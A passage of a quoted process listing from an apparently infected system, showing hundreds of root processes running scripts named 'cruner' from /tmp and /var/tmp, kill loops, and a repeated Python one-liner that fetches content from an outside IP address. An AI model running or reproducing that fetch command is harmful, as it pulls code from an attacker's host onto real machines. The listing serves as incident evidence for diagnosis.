0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21777 18222 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16026 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4639 4626 0 15:45:49 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21285 28921 0 15:45:56 ? 0:00 sleep 60 > root 10817 24238 0 15:45:50 ? 0:00 bash -sh > root 27524 7041 0 - ? 0:00 <defunct> > root 29101 27708 0 15:45:27 ? 0:00 sleep 60 > root 4828 1207 0 15:45:54 ? 0:00 xargs kill -9 > root 18943 18917 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24965 12459 0 - ? 0:00 <defunct> > root 29285 23328 0 15:46:11 ? 0:00 xargs kill -9 > root 6858 22084 0 15:45:09 ? 0:00 bash -sh > root 4405 19754 0 15:46:11 ? 0:00 bash -sh > root 11676 10379 0 15:45:59 ? 0:00 bash -sh > root 21108 7890 0 - ? 0:00 <defunct> > root 18957 10591 0 15:45:37 ? 0:00 bash -sh > root 6781 21793 0 15:45:35 ? 0:00 bash -sh > root 2782 86 0 15:45:44 ? 0:00 sleep 60 > root 17331 19145 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26233 14334 0 15:43:15 ? 0:00 bash -sh > root 28190 13605 0 15:42:51 ? 0:00 bash -sh > root 8416 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14213 28686 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19255 18499 0 - ? 0:00 <defunct> > root 22321 21923 0 15:46:01 ? 0:00 bash -sh > root 24946 16193 0 - ? 0:00 <defunct> > root 20231 24506 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 7893 25567 0 15:45:54 ? 0:00 sleep 60 > root 10506 10493 0 15:44:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24118 24961 0 15:45:43 ? 0:00 sleep 60 > root 18484 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24332 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15368 16263 0 - ? 0:00 <defunct> > root 3172 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3102 25857 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18905 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7016 24957 0 15:45:49 ? 0:00 sleep 60 > root 4740 4987 0 - ? 0:00 <defunct> > root 16807 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20928 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16311 22716 0 15:46:00 ? 0:00 sh /tmp/cruner > root 3043 10403 0 15:45:58 ? 0:00 sleep 60 > root 2332 21453 0 - ? 0:00 <defunct> > root 9716 25681 0 15:45:25 ? 0:00 sleep 60 > root 22109 19919 0 15:44:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6725 5400 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9949 11746 0 - ? 0:00 <defunct> > root 14403 13708 0 15:45:51 ? 0:00 sleep 60 > root 13486 22741 0 15:45:29 ? 0:00 sleep 60 > root 14749 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18585 2537 0 15:45:37 ? 0:00 bash -sh > root 7577 4090 0 - ? 0:00 <defunct> > root 16444 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4980 20344 0 15:45:54 ? 0:00 bash -sh > root 11338 21152 0 15:45:10 ? 0:00 bash -sh > root 1733 18742 0 15:46:06 ? 0:00 bash -sh > root 11506 17073 0 15:43:20 ? 0:00 bash -sh > root 2429 8958 0 15:45:53 ? 0:00 bash -sh > root 5699 14181 0 15:45:28 ? 0:00 sleep 60 > root 24708 1 0 21:31:40 ? 0:00 sh /var/tmp/cruner > root 28587 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11345 18489 0 - ? 0:00 <defunct> > root 5665 571 0 - ? 0:00 <defunct> > root 7972 7966 0 15:45:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22275 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25256 20626 0 15:46:10 ? 0:00 sleep 60 > root 11130 11109 0 15:45:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27541 15595 0 15:46:02 ? 0:00 bash -sh > root 8179 7239 0 15:45:25 ? 0:00 sleep 60 > root 8436 2430 0 15:45:10 ? 0:00 bash -sh > root 19093 18588 0 - ? 0:00 <defunct> > root 12541 11739 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 6812 914 0 - ? 0:00 <defunct> > root 16853 10343 0 - ? 0:00 <defunct> > root 13573 240 0 15:43:55 ? 0:00 bash -sh > root 6059 29811 0 15:45:09 ? 0:00 sh /tmp/cruner > root 8039 14358 0 15:45:54 ? 0:00 sleep 60 > root 17967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22572 17761 0 15:45:13 ? 0:00 sleep 60 > root 22832 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5849 28594 0 15:45:35 ? 0:00 bash -sh > root 29416 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4144 10626 0 - ? 0:00 <defunct> > root 10565 27970 0 15:43:26 ? 0:00 bash -sh > root 16233 7278 0 - ? 0:00 <defunct> > root 6760 21850 0 15:45:09 ? 0:00 bash -sh > root 20276 2560 0 - ? 0:00 <defunct> > root 4139 19704 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14854 21040 0 15:45:11 ? 0:00 bash -sh > root 12281 4595 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 18938 25484 0 15:46:00 ? 0:00 sleep 60 > root 15084 28626 0 15:45:46 ? 0:00 bash -sh > root 19509 2740 0 15:44:53 ? 0:00 bash -sh > root 16918 25317 0 15:45:51 ? 0:00 bash -sh > root 14301 12082 0 15:45:37 ? 0:00 bash -sh > root 9346 250 0 15:45:59 ? 0:00 bash -sh > root 13559 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1670 25234 0 15:45:14 ? 0:00 bash -sh > root 28651 14654 0 15:44:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19780 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15956 15707 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13905 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24437 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 395 21056 0 - ? 0:00 <defunct> > root 17901 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5992 5986 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8677 11844 0 15:43:09 ? 0:00 bash -sh > root 16429 15915 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18195 16826 0 15:43:33 ? 0:00 bash -sh > root 19837 29386 0 15:45:12 ? 0:00 bash -sh > root 12369 7907 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14936 2481 0 15:45:41 ? 0:00 sh /tmp/cruner > root 27136 14206 0 15:46:05 ? 0:00 sleep 60 > root 11917 29735 0 - ? 0:00 <defunct> > root 29125 19241 0 - ? 0:00 <defunct> > root 5776 21270 0 - ? 0:00 <defunct> > root 19415 23063 0 - ? 0:00 <defunct> > root 475 22854 0 15:45:08 ? 0:00 bash -sh > root 12816 24856 0 15:46:08 ? 0:00 sleep 60 > root 19114 26762 0 15:45:12 ? 0:00 bash -sh > root 22012 19612 0 15:45:13 ? 0:00 bash -sh > root 3907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23219 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3133 11157 0 15:46:02 ? 0:00 sleep 60 > root 614 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18006 23720 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 9752 22044 0 15:46:07 ? 0:00 sleep 60 > root 4883 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6208 14355 0 15:45:20 ? 0:00 sleep 60 > root 8389 7072 0 - ? 0:00 <defunct> > root 22221 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15143 5979 0 - ? 0:00 <defunct> > root 17558 17483 0 - ? 0:00 <defunct> > root 7355 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29124 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8768 8746 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13552 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18143 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2388 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 943 4406 0 15:44:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10156 20652 0 15:46:07 ? 0:00 sleep 60 > root 29463 2111 0 - ? 0:00 <defunct> > root 20935 80 0 15:45:33 ? 0:00 sleep 60 > root 20576 25545 0 - ? 0:00 <defunct> > root 13810 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6542 28649 0 15:45:54 ? 0:00 sleep 60 > root 27669 18042 0 - ? 0:00 <defunct> > root 4030 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26463 29247 0 15:45:34 ? 0:00 sleep 60 > root 18382 25600 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 12538 26412 0 15:45:36 ? 0:00 bash -sh > root 11044 29729 0 15:45:55 ? 0:00 bash -sh > root 20384 23887 0 - ? 0:00 <defunct> > root 16796 23160 0 - ? 0:00 <defunct> > root 18302 4475 0 15:43:33 ? 0:00 bash -sh > root 76 1 0 20:26:23 ? 0:00 sh /var/tmp/cruner > root 21634 2478 0 15:45:12 ? 0:00 bash -sh > root 6264 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9323 128 0 15:46:12 ? 0:00 bash -sh > root 17654 3432 0 15:44:06 ? 0:00 bash -sh > root 7086 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18446 29120 0 15:46:00 ? 0:00 sleep 60 > root 20071 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15705 7264 0 15:45:11 ? 0:00 bash -sh > root 15640 23575 0 15:43:12 ? 0:00 bash -sh > root 17417 17396 0 - ? 0:00 <defunct> > root 18277 13826 0 - ? 0:00 <defunct> > root 21729 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16680 10938 0 15:45:26 ? 0:00 sleep 60 > root 18280 25004 0 - ? 0:00 <defunct> > root 4302 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23384 6827 0 - ? 0:00 <defunct> > root 28884 26439 0 15:45:34 ? 0:00 sleep 60 > root 8578 7126 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20614 23548 0 - ? 0:00 <defunct> > root 19849 25084 0 15:46:09 ? 0:00 bash -sh > root 21209 1 0 17:06:09 ? 0:01 sh /var/tmp/cruner > root 3827 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24780 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22362 26012 0 15:42:33 ? 0:00 bash -sh > root 3668 4024 0 - ? 0:00 <defunct> > root 5948 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1889 17654 0 - ? 0:00 <defunct> > root 21358 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29187 15704 0 15:46:02 ? 0:00 bash -sh > root 28067 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15915 20728 0 15:45:11 ? 0:00 bash -sh > root 24917 20474 0 15:45:07 ? 0:00 bash -sh > root 9561 1550 0 - ? 0:00 <defunct> > root 14115 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13384 4579 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10740 26252 0 15:45:25 ? 0:00 sleep 60 > root 20840 110 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4340 13954 0 - ? 0:00 <defunct> > root 17100 24321 0 15:46:08 ? 0:00 bash -sh > root 11475 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16297 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19419 17948 0 - ? 0:00 <defunct> > root 3510 8567 0 - ? 0:00 <defunct> > root 24869 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11245 20741 0 15:45:10 ? 0:00 bash -sh > root 17033 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9065 11600 0 15:46:12 ? 0:00 bash -sh > root 22745 17408 0 15:42:43 ? 0:00 bash -sh > root 4235 19089 0 15:46:03 ? 0:00 bash -sh > root 14916 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 137 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25082 2182 0 - ? 0:00 <defunct> > root 7494 9392 0 15:43:43 ? 0:00 bash -sh > root 2748 12506 0 15:44:42 ? 0:00 bash -sh > root 29373 24570 0 - ? 0:00 <defunct> > root 11354 14489 0 - ? 0:00 <defunct> > root 3289 12722 0 15:45:58 ? 0:00 sleep 60 > root 478 25515 0 15:45:08 ? 0:00 bash -sh > root 16430 20617 0 - ? 0:00 <defunct> > root 520 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25738 24799 0 15:44:54 ? 0:00 bash -sh > root 4398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27773 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19022 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 4263 29209 0 15:45:04 ? 0:00 bash -sh > root 29607 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4360 7461 0 - ? 0:00 <defunct> > root 24489 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29737 25315 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23958 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 2352 25579 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6922 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16201 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10665 4959 0 15:45:50 ? 0:00 bash -sh > root 6711 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25163 14426 0 - ? 0:00 <defunct> > root 11358 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18028 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10065 7443 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20046 4208 0 15:45:33 ? 0:00 sleep 60 > root 10349 5669 0 15:46:07 ? 0:00 sleep 60 > root 19946 17168 0 15:45:26 ? 0:00 bash -sh > root 16518 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21514 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5004 19451 0 15:46:06 ? 0:00 sleep 60 > root 6149 18786 0 - ? 0:00 <defunct> > root 12230 15069 0 15:45:59 ? 0:00 sleep 60 > root 11196 1 0 00:49:28 ? 0:00 sh /var/tmp/cruner > root 93 20930 0 - ? 0:00 <defunct> > root 2283 10346 0 15:45:19 ? 0:00 sleep 60 > root 16960 24371 0 15:42:48 ? 0:00 bash -sh > root 1224 6030 0 - ? 0:00 <defunct> > root 27739 8260 0 15:43:06 ? 0:00 bash -sh > root 17235 17223 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28948 28859 0 - ? 0:00 <defunct> > root 1829 28661 0 15:45:58 ? 0:00 sleep 60 > root 11009 5007 0 15:45:59 ? 0:00 bash -sh > root 12664 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2471 26962 0 15:46:06 ? 0:00 bash -sh > root 12682 28457 0 15:46:08 ? 0:00 bash -sh > root 18482 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19753 1 0 00:49:13 ? 0:00 sh /var/tmp/cruner > root 23831 12429 0 15:45:52 ? 0:00 sleep 60 > root 601 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8613 15147 0 - ? 0:00 <defunct> > root 3928 12348 0 15:45:19 ? 0:00 sleep 60 > root 18574 8329 0 15:46:00 ? 0:00 xargs kill -9 > root 5222 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 87 5025 0 - ? 0:00 <defunct> > root 18704 18379 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 9423 10731 0 - ? 0:00 <defunct> > root 28505 5953 0 15:45:18 ? 0:00 sleep 60 > root 6803 8513 0 15:45:09 ? 0:00 bash -sh > root 22574 11015 0 - ? 0:00 <defunct> > root 19462 17165 0 - ? 0:00 <defunct> > root 14968 14958 0 15:43:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1069 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9503 16845 0 - ? 0:00 <defunct> > root 6995 15049 0 15:43:09 ? 0:00 bash -sh > root 26692 7712 0 15:45:27 ? 0:00 sleep 60 > root 5983 14783 0 - ? 0:00 <defunct> > root 3606 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 8205 8147 0 - ? 0:00 <defunct> > root 25525 29751 0 15:45:13 ? 0:00 bash -sh > root 23791 24805 0 - ? 0:00 <defunct> > root 7179 17695 0 - ? 0:00 <defunct> > root 29637 1 0 22:49:31 ? 0:01 sh /var/tmp/cruner > root 14331 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14769 7305 0 15:45:46 ? 0:00 bash -sh > root 15152 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9228 5649 0 15:46:12 ? 0:00 xargs kill -9 > root 22671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13647 11411 0 15:45:50 ? 0:00 bash -sh > root 22428 16823 0 15:45:26 ? 0:00 sleep 60 > root 22954 15588 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 4812 22678 0 15:43:42 ? 0:00 bash -sh > root 19045 26088 0 15:46:09 ? 0:00 bash -sh > root 16823 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1838 144 0 - ? 0:00 <defunct> > root 13657 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16240 16103 0 15:43:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25645 22900 0 15:45:52 ? 0:00 sh /tmp/cruner > root 2495 2485 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6454 29067 0 15:44:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22606 18581 0 15:46:01 ? 0:00 sleep 60 > root 28968 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28185 4348 0 15:45:07 ? 0:00 bash -sh > root 24227 24214 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16021 13462 0 15:46:08 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24931 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27469 28029 0 - ? 0:00 <defunct> > root 5355 25382 0 15:45:40 ? 0:00 xargs kill -9 > root 3778 3312 0 15:43:54 ? 0:00 bash -sh > root 19566 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7707 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19778 818 0 15:45:38 ? 0:00 bash -sh > root 5786 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5294 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10171 17845 0 15:45:59 ? 0:00 sleep 60 > root 21812 2516 0 15:45:52 ? 0:00 bash -sh > root 8234 22928 0 15:45:40 ? 0:00 bash -sh > root 1260 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20511 17299 0 - ? 0:00 <defunct> > root 17505 19561 0 15:45:51 ? 0:00 sleep 60 > root 9007 23651 0 - ? 0:00 <defunct> > root 16098 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28609 3853 0 15:45:39 ? 0:00 sleep 60 > root 2399 15388 0 - ? 0:00 <defunct> > root 4294 10650 0 - ? 0:00 <defunct> > root 353 14599 0 15:45:34 ? 0:00 sleep 60 > root 29945 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26853 11667 0 15:45:30 ? 0:00 sleep 60 > root 1393 4671 0 15:45:48 ? 0:00 sleep 60 > root 6945 14293 0 15:45:09 ? 0:00 bash -sh > root 2584 4635 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 2241 2234 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26999 7300 0 15:45:27 ? 0:00 sleep 60 > root 27404 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7578 17422 0 - ? 0:00 <defunct> > root 14864 14823 0 15:45:11 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21624 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29181 26434 0 15:45:18 ? 0:00 sleep 60 > root 11636 23689 0 15:45:59 ? 0:00 bash -sh > root 3484 7908 0 - ? 0:00 <defunct> > root 15311 11087 0 15:44:05 ? 0:00 bash -sh > root 24782 1400 0 15:46:01 ? 0:00 bash -sh > root 23627 25116 0 15:45:38 ? 0:00 bash -sh > root 13472 24033 0 - ? 0:00 <defunct> > root 21988 8753 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2956 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28584 27928 0 - ? 0:00 <defunct> > root 23175 29322 0 - ? 0:00 <defunct> > root 27786 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15438 28813 0 15:45:46 ? 0:00 bash -sh > root 7561 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7590 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9053 22478 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 15075 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12084 24606 0 - ? 0:00 <defunct> > root 28478 4776 0 15:45:08 ? 0:00 bash -sh > root 6494 15388 0 - ? 0:00 <defunct> > root 29099 23832 0 - ? 0:00 <defunct> > root 2104 7396 0 15:45:53 ? 0:00 bash -sh > root 2857 15007 0 15:46:06 ? 0:00 sleep 60 > root 610 29800 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10658 9348 0 15:45:45 ? 0:00 sleep 60 > root 12672 13526 0 15:45:29 ? 0:00 sleep 60 > root 9504 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19491 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 26005 2194 0 15:45:17 ? 0:00 bash -sh > root 19822 17906 0 15:45:38 ? 0:00 bash -sh > root 22563 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21485 1338 0 15:43:28 ? 0:00 bash -sh > root 7940 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13639 29163 0 15:45:41 ? 0:00 sleep 60 > root 12878 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26499 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25393 1 0 17:04:12 ? 0:01 sh /var/tmp/cruner > root 19052 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28867 18936 0 - ? 0:00 <defunct> > root 4766 6003 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11091 27427 0 15:45:28 ? 0:00 bash -sh > root 21792 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21227 14264 0 15:45:02 ? 0:00 bash -sh > root 13083 3941 0 15:45:36 ? 0:00 bash -sh > root 26174 26871 0 15:45:27 ? 0:00 sleep 60 > root 9663 21913 0 - ? 0:00 <defunct> > root 21899 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 339 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15392 6027 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26833 15694 0 15:45:47 ? 0:00 xargs kill -9 > root 24136 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14471 4243 0 - ? 0:00 <defunct> > root 4552 24704 0 15:45:24 ? 0:00 bash -sh > root 13549 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22291 6359 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10707 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25219 25408 0 15:45:13 ? 0:00 bash -sh > root 23838 5795 0 - ? 0:00 <defunct> > root 11397 9430 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2586 10496 0 15:45:14 ? 0:00 bash -sh > root 4315 24093 0 - ? 0:00 <defunct> > root 708 22853 0 - ? 0:00 <defunct> > root 4700 6599 0 - ? 0:00 <defunct> > root 14066 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2869 22299 0 15:45:19 ? 0:00 sleep 60 > root 5513 29332 0 15:43:47 ? 0:00 bash -sh > root 21308 7973 0 15:43:13 ? 0:00 bash -sh > root 4453 6191 0 15:45:09 ? 0:00 bash -sh > root 16262 14273 0 15:45:06 ? 0:00 bash -sh > root 6660 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25516 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29762 4430 0 15:45:44 ? 0:00 bash -sh > root 28778 28775 0 - ? 0:00 <defunct> > root 29089 29130 0 15:45:24 ? 0:00 xargs kill -9 > root 1706 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29097 26305 0 15:45:34 ? 0:00 sleep 60 > root 27402 14350 0 - ? 0:00 <defunct> > root 17456 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5124 6161 0 - ? 0:00 <defunct> > root 22505 20346 0 - ? 0:00 <defunct> > root 6579 23728 0 15:45:54 ? 0:00 sleep 60 > root 27619 29712 0 15:45:34 ? 0:00 sleep 60 > root 28762 26982 0 15:43:06 ? 0:00 bash -sh > root 24270 17953 0 - ? 0:00 <defunct> > root 10647 17382 0 15:46:07 ? 0:00 sleep 60 > root 8015 8010 0 - ? 0:00 <defunct> > root 11182 15353 0 - ? 0:00 <defunct> > root 1875 7892 0 15:45:19 ? 0:00 sleep 60 > root 21196 12441 0 15:44:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11360 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8362 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21591 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6261 24466 0 15:45:20 ? 0:00 sleep 60 > root 8215 24779 0 - ? 0:00 <defunct> > root 24296 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28412 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19884 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16299 20451 0 - ? 0:00 <defunct> > root 21931 9225 0 15:46:09 ? 0:00 bash -sh > root 10395 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21969 21962 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14263 8750 0 15:45:37 ? 0:00 bash -sh > root 26732 24162 0 - ? 0:00 <defunct> > root 14863 29939 0 - ? 0:00 <defunct> > root 12352 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28127 4243 0 15:46:10 ? 0:00 awk {print $7} > root 8978 11557 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19109 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 29186 26760 0 15:45:18 ? 0:00 sleep 60 > root 5881 7054 0 15:43:25 ? 0:00 bash -sh > root 27714 27712 0 - ? 0:00 <defunct> > root 19076 18910 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19492 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3363 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5924 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1177 3197 0 - ? 0:00 <defunct> > root 14217 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8856 1 0 Oct 05 ? 